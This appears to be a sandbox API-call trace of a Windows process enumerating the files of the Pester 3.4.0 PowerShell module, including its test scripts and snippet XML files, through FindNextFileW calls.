	[0162.123] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.123] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1
	[0162.123] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.123] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1
	[0162.124] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe941, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.124] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1
	[0162.124] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc82, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.124] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1
	[0162.124] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.124] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x370d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1
	[0162.124] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.125] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1
	[0162.125] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1054, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.125] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4033, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1
	[0162.125] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6be7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.125] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.125] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0
	[0162.125] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0162.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0162.167] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0162.167] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1
	[0162.167] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1
	[0162.167] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psd1", cAlternateFileName="")) returned 1
	[0162.167] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6956, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psm1", cAlternateFileName="")) returned 1
	[0162.167] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b95, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1
	[0162.167] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.md", cAlternateFileName="")) returned 1
	[0162.167] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 1
	[0162.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0162.168] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Snippets") returned 64
	[0162.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Snippets\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0162.169] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.169] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x321, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.170] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.170] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.170] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.170] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.170] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.170] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.170] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.170] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.171] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.171] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.171] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.171] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.171] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.171] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.171] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.172] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1
	[0162.172] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0
	[0162.172] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0162.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
